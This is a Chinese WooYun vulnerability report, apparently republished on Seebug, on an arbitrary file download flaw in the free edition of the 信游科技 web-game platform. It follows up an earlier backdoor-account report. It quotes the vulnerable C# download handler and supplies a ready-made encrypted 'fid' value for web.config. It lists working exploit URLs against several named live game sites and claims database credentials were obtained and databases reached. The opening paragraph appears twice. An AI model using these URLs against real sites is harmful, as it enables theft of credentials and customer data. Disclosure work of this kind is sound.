### 简要描述: 之前发的只要未提到“新版”的话我都是基于对官网提供的所谓“免费版”进行审计的 ### 详细说明: [WooYun: 信游科技页游平台程序通用型代码级后门账户(成功登录多个商业后台并可操纵订单和游戏)](http://www.wooyun.org/bugs/wooyun-2014-048661) 看了这个洞里面厂商的回复,似乎厂商不太理解一些问题。为了回复您的问题,我只能多挖一个漏洞来提交好在详细说明里面给您回复了。 ``` 2014-01-15 15:28 | 信游科技页游(乌云厂商) 0 这是源代码啊.他们技术自己发的吧.程序员是不是和公司闹变扭了.拿段测试代码就上来了. ``` 1.源代码是你们在官网提供的,http://52xinyou.cn/chanpin.htm 在这里面有一个“立即下载”,里面的超链接是http://52xinyou.cn/信游免费版.rar 我的网站结构和信息都是从这里来的 2.你们程序员是不是有人离职?可能是某人离职前留下的后门账号。 3.似乎厂商感觉新版要发布了,就有点忽略了在用的旧版、已传播开的免费版的安全问题了(看意思我理解是不打算修复,以后升级新版),但是目前在用的很多都是商业网站,建议还是更新下目前在用的客户的代码,然后建议也暂停免费版的下载。 4.发现后门账户的dll位置在 “信游免费版\xymfpt\平台\web\bin\DataManage.dll” ### 漏洞证明: 下面开始说下这个任意文件下载。 信游免费版\xymfpt\平台\web\Api\download.ashx ``` public void ProcessRequest(HttpContext context) { DataManage.DownLoadManage down = new DataManage.DownLoadManage(); down.FileDown(context); } ``` 信游免费版\xymfpt\平台\web\bin\DataManage.dll ``` DataManage.DownLoadManage.FileDown public void FileDown(HttpContext context) { string text =...
### 简要描述: 之前发的只要未提到“新版”的话我都是基于对官网提供的所谓“免费版”进行审计的 ### 详细说明: [WooYun: 信游科技页游平台程序通用型代码级后门账户(成功登录多个商业后台并可操纵订单和游戏)](http://www.wooyun.org/bugs/wooyun-2014-048661) 看了这个洞里面厂商的回复,似乎厂商不太理解一些问题。为了回复您的问题,我只能多挖一个漏洞来提交好在详细说明里面给您回复了。 ``` 2014-01-15 15:28 | 信游科技页游(乌云厂商) 0 这是源代码啊.他们技术自己发的吧.程序员是不是和公司闹变扭了.拿段测试代码就上来了. ``` 1.源代码是你们在官网提供的,http://52xinyou.cn/chanpin.htm 在这里面有一个“立即下载”,里面的超链接是http://52xinyou.cn/信游免费版.rar 我的网站结构和信息都是从这里来的 2.你们程序员是不是有人离职?可能是某人离职前留下的后门账号。 3.似乎厂商感觉新版要发布了,就有点忽略了在用的旧版、已传播开的免费版的安全问题了(看意思我理解是不打算修复,以后升级新版),但是目前在用的很多都是商业网站,建议还是更新下目前在用的客户的代码,然后建议也暂停免费版的下载。 4.发现后门账户的dll位置在 “信游免费版\xymfpt\平台\web\bin\DataManage.dll” ### 漏洞证明: 下面开始说下这个任意文件下载。 信游免费版\xymfpt\平台\web\Api\download.ashx ``` public void ProcessRequest(HttpContext context) { DataManage.DownLoadManage down = new DataManage.DownLoadManage(); down.FileDown(context); } ``` 信游免费版\xymfpt\平台\web\bin\DataManage.dll ``` DataManage.DownLoadManage.FileDown public void FileDown(HttpContext context) { string text = context.Request.QueryString["fid"]; //fid是加密的路径 context.Response.ContentType = "text/plain"; if (Utility.IsEmptyString(text)) { ………… } else { text = text.Trim().Replace("%3d", "=").Replace(" ", "+").Replace("%2f", "/"); string strKey = "???"; //这是加密解密的密钥,屏蔽了 string path = Utility.Decrypt3DES(text, strKey); //解密获取到的路径 string text2 = context.Server.MapPath(path); //获取我们传入的虚拟路径的物理路径 if (File.Exists(text2)) { string extName = text2.Substring(text2.LastIndexOf('.')); Stream stream = File.OpenRead(text2);//直接读取text2指定的路径了,导致漏洞的产生 ………… while (num > 0L && context.Response.IsClientConnected) { int num2 = stream.Read(buffer, 0, Convert.ToInt32(51200L)); context.Response.OutputStream.Write(buffer, 0, num2); context.Response.Flush(); num -= (long)num2; } ……………… ``` 给一个路径的例子: ~/web.config 对应的密文是 nUDWEgdorSH4j/+9GiQTlA== 给下web.config的利用: http://www.12wan.com/api/download.ashx?fid=nUDWEgdorSH4j/+9GiQTlA== [<img src="https://images.seebug.org/upload/201401/152339579fc825a9bb321c91d31408d031d0d157.png" alt="image001.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201401/152339579fc825a9bb321c91d31408d031d0d157.png) [<img src="https://images.seebug.org/upload/201401/15234010cd4194baaaa821cafa167558b2e8ffb2.png" alt="image002.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201401/15234010cd4194baaaa821cafa167558b2e8ffb2.png) http://www.vipwan.com/api/download.ashx?fid=nUDWEgdorSH4j/+9GiQTlA== [<img src="https://images.seebug.org/upload/201401/15234035572ff25f24f8951b7bc0e77dc6efab19.png" alt="image004.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201401/15234035572ff25f24f8951b7bc0e77dc6efab19.png) [<img src="https://images.seebug.org/upload/201401/15234046c4beca5729906493033b0472ae416449.png" alt="image005.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201401/15234046c4beca5729906493033b0472ae416449.png) http://52xinyou.cn/anli.htm 下的案例基本全秒。 http://www.ailiuwa.com/api/download.ashx?fid=nUDWEgdorSH4j/+9GiQTlA== http://www.17188.com/api/download.ashx?fid=nUDWEgdorSH4j/+9GiQTlA== http://www.teiyi.com/api/download.ashx?fid=nUDWEgdorSH4j/+9GiQTlA== http://www.9797wan.com/api/download.ashx?fid=nUDWEgdorSH4j/+9GiQTlA== 等等 可以直接下载包含数据库用户名、密码的配置文件(为了避免一些问题这个就截图为证,不放链接了) [<img src="https://images.seebug.org/upload/201401/15234123df114f7b71be79183c5912682a3dcf58.png" alt="image007.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201401/15234123df114f7b71be79183c5912682a3dcf58.png) [<img src="https://images.seebug.org/upload/201401/15234142e2143048e0079bc5ba445af127ea959a.png" alt="image009.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201401/15234142e2143048e0079bc5ba445af127ea959a.png) [<img src="https://images.seebug.org/upload/201401/152341578592084584700ddcc46e5f5a2081c83f.png" alt="image011.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201401/152341578592084584700ddcc46e5f5a2081c83f.png) 部分数据库已经连上,拖库分分钟搞定啊…… [<img src="https://images.seebug.org/upload/201401/1523422151f588f8703aa40d01a96e6ae7196932.png" alt="image013.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201401/1523422151f588f8703aa40d01a96e6ae7196932.png) [<img src="https://images.seebug.org/upload/201401/152342334d829fdb6be7c6c2788ba681d105bf40.png" alt="image014.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201401/152342334d829fdb6be7c6c2788ba681d105bf40.png)